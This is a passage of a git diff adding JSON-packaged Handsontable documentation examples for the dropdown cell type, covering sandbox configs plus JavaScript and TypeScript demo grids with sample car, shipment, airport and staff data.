JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\n\nnew Handsontable(container, {\n height: 'auto',\n data: [\n ['Tesla', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'white', 'gray'],\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n columns: [\n {},\n { type: 'numeric' },\n {\n type: 'dropdown',\n source: ['yellow', 'red', 'orange', 'green', 'blue', 'gray', 'black', 'white'],\n },\n {\n type: 'dropdown',\n source: ['yellow', 'red', 'orange', 'green', 'blue', 'gray', 'black', 'white'],\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/dropdown-cell-type/javascript/example1.js","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/dropdown-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example1.ts.json new file mode 100644 index 00000000..10c42a0e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Dropdown cell type · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n height: 'auto',\n data: [\n ['Tesla', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'white', 'gray'],\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n columns: [\n {},\n { type: 'numeric' },\n {\n type: 'dropdown',\n source: ['yellow', 'red', 'orange', 'green', 'blue', 'gray', 'black', 'white'],\n },\n {\n type: 'dropdown',\n source: ['yellow', 'red', 'orange', 'green', 'blue', 'gray', 'black', 'white'],\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/dropdown-cell-type/javascript/example1.ts","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/dropdown-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example2.js.json new file mode 100644 index 00000000..c28fca7d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Dropdown cell type · Array of values · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2');\nconst shipmentKVData = [\n ['Electronics and Gadgets', 'Los Angeles International Airport'],\n ['Medical Supplies', 'John F. Kennedy International Airport'],\n ['Auto Parts', \"Chicago O'Hare International Airport\"],\n ['Fresh Produce', 'London Heathrow Airport'],\n ['Textiles', 'Charles de Gaulle Airport'],\n ['Industrial Equipment', 'Dubai International Airport'],\n ['Pharmaceuticals', 'Tokyo Haneda Airport'],\n ['Consumer Goods', 'Beijing Capital International Airport'],\n ['Machine Parts', 'Singapore Changi Airport'],\n ['Food Products', 'Amsterdam Airport Schiphol'],\n];\n\nconst airportKVData = [\n 'Los Angeles International Airport',\n 'John F. Kennedy International Airport',\n \"Chicago O'Hare International Airport\",\n 'London Heathrow Airport',\n 'Charles de Gaulle Airport',\n 'Dubai International Airport',\n 'Tokyo Haneda Airport',\n 'Beijing Capital International Airport',\n 'Singapore Changi Airport',\n 'Amsterdam Airport Schiphol',\n 'Frankfurt Airport',\n 'Seoul Incheon International Airport',\n 'Toronto Pearson International Airport',\n 'Madrid-Barajas Airport',\n 'Bangkok Suvarnabhumi Airport',\n 'Munich International Airport',\n 'Sydney Kingsford Smith Airport',\n 'Barcelona-El Prat Airport',\n 'Kuala Lumpur International Airport',\n 'Zurich Airport',\n];\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: shipmentKVData,\n columns: [\n {\n title: 'Shipment',\n },\n {\n type: 'dropdown',\n source: airportKVData,\n title: 'Airport',\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/dropdown-cell-type/javascript/example2.js","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example2","exampleTitle":"Array of values","docPermalink":"/dropdown-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example2.ts.json new file mode 100644 index 00000000..4a01159b --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Dropdown cell type · Array of values · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\nconst shipmentKVData = [\n ['Electronics and Gadgets', 'Los Angeles International Airport'],\n ['Medical Supplies', 'John F. Kennedy International Airport'],\n ['Auto Parts', \"Chicago O'Hare International Airport\"],\n ['Fresh Produce', 'London Heathrow Airport'],\n ['Textiles', 'Charles de Gaulle Airport'],\n ['Industrial Equipment', 'Dubai International Airport'],\n ['Pharmaceuticals', 'Tokyo Haneda Airport'],\n ['Consumer Goods', 'Beijing Capital International Airport'],\n ['Machine Parts', 'Singapore Changi Airport'],\n ['Food Products', 'Amsterdam Airport Schiphol'],\n];\n\nconst airportKVData = [\n 'Los Angeles International Airport',\n 'John F. Kennedy International Airport',\n \"Chicago O'Hare International Airport\",\n 'London Heathrow Airport',\n 'Charles de Gaulle Airport',\n 'Dubai International Airport',\n 'Tokyo Haneda Airport',\n 'Beijing Capital International Airport',\n 'Singapore Changi Airport',\n 'Amsterdam Airport Schiphol',\n 'Frankfurt Airport',\n 'Seoul Incheon International Airport',\n 'Toronto Pearson International Airport',\n 'Madrid-Barajas Airport',\n 'Bangkok Suvarnabhumi Airport',\n 'Munich International Airport',\n 'Sydney Kingsford Smith Airport',\n 'Barcelona-El Prat Airport',\n 'Kuala Lumpur International Airport',\n 'Zurich Airport',\n];\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: shipmentKVData,\n columns: [\n {\n title: 'Shipment',\n },\n {\n type: 'dropdown',\n source: airportKVData,\n title: 'Airport',\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/dropdown-cell-type/javascript/example2.ts","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example2","exampleTitle":"Array of values","docPermalink":"/dropdown-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example3.js.json new file mode 100644 index 00000000..4f1bdeac --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example3.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Dropdown cell type · Array of objects · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3');\nconst shipmentKVData = [\n ['Electronics and Gadgets', { key: 'LAX', value: 'Los Angeles International Airport' }],\n ['Medical Supplies', { key: 'JFK', value: 'John F. Kennedy International Airport' }],\n ['Auto Parts', { key: 'ORD', value: \"Chicago O'Hare International Airport\" }],\n ['Fresh Produce', { key: 'LHR', value: 'London Heathrow Airport' }],\n ['Textiles', { key: 'CDG', value: 'Charles de Gaulle Airport' }],\n ['Industrial Equipment', { key: 'DXB', value: 'Dubai International Airport' }],\n ['Pharmaceuticals', { key: 'HND', value: 'Tokyo Haneda Airport' }],\n ['Consumer Goods', { key: 'PEK', value: 'Beijing Capital International Airport' }],\n ['Machine Parts', { key: 'SIN', value: 'Singapore Changi Airport' }],\n ['Food Products', { key: 'AMS', value: 'Amsterdam Airport Schiphol' }],\n];\n\nconst airportKVData = [\n { key: 'LAX', value: 'Los Angeles International Airport' },\n { key: 'JFK', value: 'John F. Kennedy International Airport' },\n { key: 'ORD', value: \"Chicago O'Hare International Airport\" },\n { key: 'LHR', value: 'London Heathrow Airport' },\n { key: 'CDG', value: 'Charles de Gaulle Airport' },\n { key: 'DXB', value: 'Dubai International Airport' },\n { key: 'HND', value: 'Tokyo Haneda Airport' },\n { key: 'PEK', value: 'Beijing Capital International Airport' },\n { key: 'SIN', value: 'Singapore Changi Airport' },\n { key: 'AMS', value: 'Amsterdam Airport Schiphol' },\n { key: 'FRA', value: 'Frankfurt Airport' },\n { key: 'ICN', value: 'Seoul Incheon International Airport' },\n { key: 'YYZ', value: 'Toronto Pearson International Airport' },\n { key: 'MAD', value: 'Madrid-Barajas Airport' },\n { key: 'BKK', value: 'Bangkok Suvarnabhumi Airport' },\n { key: 'MUC', value: 'Munich International Airport' },\n { key: 'SYD', value: 'Sydney Kingsford Smith Airport' },\n { key: 'BCN', value: 'Barcelona-El Prat Airport' },\n { key: 'KUL', value: 'Kuala Lumpur International Airport' },\n { key: 'ZRH', value: 'Zurich Airport' },\n];\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: shipmentKVData,\n columns: [\n {\n title: 'Shipment',\n },\n {\n type: 'dropdown',\n source: airportKVData,\n title: 'Airport',\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/dropdown-cell-type/javascript/example3.js","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example3","exampleTitle":"Array of objects","docPermalink":"/dropdown-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example3.ts.json new file mode 100644 index 00000000..3631199d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example3.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Dropdown cell type · Array of objects · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3')!;\n\nconst shipmentKVData = [\n ['Electronics and Gadgets', { key: 'LAX', value: 'Los Angeles International Airport' }],\n ['Medical Supplies', { key: 'JFK', value: 'John F. Kennedy International Airport' }],\n ['Auto Parts', { key: 'ORD', value: \"Chicago O'Hare International Airport\" }],\n ['Fresh Produce', { key: 'LHR', value: 'London Heathrow Airport' }],\n ['Textiles', { key: 'CDG', value: 'Charles de Gaulle Airport' }],\n ['Industrial Equipment', { key: 'DXB', value: 'Dubai International Airport' }],\n ['Pharmaceuticals', { key: 'HND', value: 'Tokyo Haneda Airport' }],\n ['Consumer Goods', { key: 'PEK', value: 'Beijing Capital International Airport' }],\n ['Machine Parts', { key: 'SIN', value: 'Singapore Changi Airport' }],\n ['Food Products', { key: 'AMS', value: 'Amsterdam Airport Schiphol' }],\n];\n\nconst airportKVData = [\n { key: 'LAX', value: 'Los Angeles International Airport' },\n { key: 'JFK', value: 'John F. Kennedy International Airport' },\n { key: 'ORD', value: \"Chicago O'Hare International Airport\" },\n { key: 'LHR', value: 'London Heathrow Airport' },\n { key: 'CDG', value: 'Charles de Gaulle Airport' },\n { key: 'DXB', value: 'Dubai International Airport' },\n { key: 'HND', value: 'Tokyo Haneda Airport' },\n { key: 'PEK', value: 'Beijing Capital International Airport' },\n { key: 'SIN', value: 'Singapore Changi Airport' },\n { key: 'AMS', value: 'Amsterdam Airport Schiphol' },\n { key: 'FRA', value: 'Frankfurt Airport' },\n { key: 'ICN', value: 'Seoul Incheon International Airport' },\n { key: 'YYZ', value: 'Toronto Pearson International Airport' },\n { key: 'MAD', value: 'Madrid-Barajas Airport' },\n { key: 'BKK', value: 'Bangkok Suvarnabhumi Airport' },\n { key: 'MUC', value: 'Munich International Airport' },\n { key: 'SYD', value: 'Sydney Kingsford Smith Airport' },\n { key: 'BCN', value: 'Barcelona-El Prat Airport' },\n { key: 'KUL', value: 'Kuala Lumpur International Airport' },\n { key: 'ZRH', value: 'Zurich Airport' },\n];\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: shipmentKVData,\n columns: [\n {\n title: 'Shipment',\n },\n {\n type: 'dropdown',\n source: airportKVData,\n title: 'Airport',\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/dropdown-cell-type/javascript/example3.ts","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example3","exampleTitle":"Array of objects","docPermalink":"/dropdown-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example4.js.json new file mode 100644 index 00000000..ab95051c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example4.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Dropdown cell type · Set the dropdown width · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example4');\nconst departments = [\n 'Engineering and Platform Infrastructure',\n 'Marketing and Brand Communications',\n 'Financial Planning and Analysis',\n 'People Operations and Talent Acquisition',\n 'Customer Success and Enterprise Accounts',\n];\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['Ana García', departments[0], departments[0]],\n ['James Okafor', departments[1], departments[1]],\n ['Li Wei', departments[2], departments[2]],\n ['Sofia Rossi', departments[3], departments[3]],\n ],\n colHeaders: ['Employee', 'Department (default)', 'Department (full width)'],\n columns: [\n {},\n {\n type: 'dropdown',\n source: departments,\n width: 140,\n // trim the list to the cell's width (default)\n trimDropdown: true,\n },\n {\n type: 'dropdown',\n source: departments,\n width: 140,\n // expand the list to fit its longest option\n trimDropdown: false,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/dropdown-cell-type/javascript/example4.js","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example4","exampleTitle":"Set the dropdown width","docPermalink":"/dropdown-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example4.ts.json new file mode 100644 index 00000000..17ec7d9f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example4.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Dropdown cell type · Set the dropdown width · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4')!;\nconst departments = [\n 'Engineering and Platform Infrastructure',\n 'Marketing and Brand Communications',\n 'Financial Planning and Analysis',\n 'People Operations and Talent Acquisition',\n 'Customer Success and Enterprise Accounts',\n];\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['Ana García', departments[0], departments[0]],\n ['James Okafor', departments[1], departments[1]],\n ['Li Wei', departments[2], departments[2]],\n ['Sofia Rossi', departments[3], departments[3]],\n ],\n colHeaders: ['Employee', 'Department (default)', 'Department (full width)'],\n columns: [\n {},\n {\n type: 'dropdown',\n source: departments,\n width: 140,\n // trim the list to the cell's width (default)\n trimDropdown: true,\n },\n {\n type: 'dropdown',\n source: departments,\n width: 140,\n // expand the list to fit its longest option\n trimDropdown: false,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/dropdown-cell-type/javascript/example4.ts","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example4","exampleTitle":"Set the dropdown width","docPermalink":"/dropdown-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example5.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example5.js.json new file mode 100644 index 00000000..7b78d8a8 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example5.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Dropdown cell type · Set the dropdown height · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example5');\nconst jobTitles = [\n 'Software Engineer',\n 'Senior Software Engineer',\n 'Staff Engineer',\n 'Engineering Manager',\n 'Product Manager',\n 'Product Designer',\n 'Data Analyst',\n 'Data Scientist',\n 'Marketing Specialist',\n 'Account Executive',\n 'Customer Success Manager',\n 'Finance Analyst',\n 'Recruiter',\n 'Office Manager',\n];\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['Ana García', 'Senior Software Engineer', 'Senior Software Engineer'],\n ['James Okafor', 'Product Manager', 'Product Manager'],\n ['Li Wei', 'Data Scientist', 'Data Scientist'],\n ['Sofia Rossi', 'Account Executive', 'Account Executive'],\n ],\n colHeaders: ['Employee', 'Job title (default)', 'Job title (compact)'],\n columns: [\n {},\n {\n type: 'dropdown',\n source: jobTitles,\n },\n {\n type: 'dropdown',\n source: jobTitles,\n // show 3 options at a time, then scroll\n visibleRows: 3,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/dropdown-cell-type/javascript/example5.js","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example5","exampleTitle":"Set the dropdown height","docPermalink":"/dropdown-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example5.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example5.ts.json new file mode 100644 index 00000000..c662c693 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__dropdown-cell-type__javascript__example5.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Dropdown cell type · Set the dropdown height · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
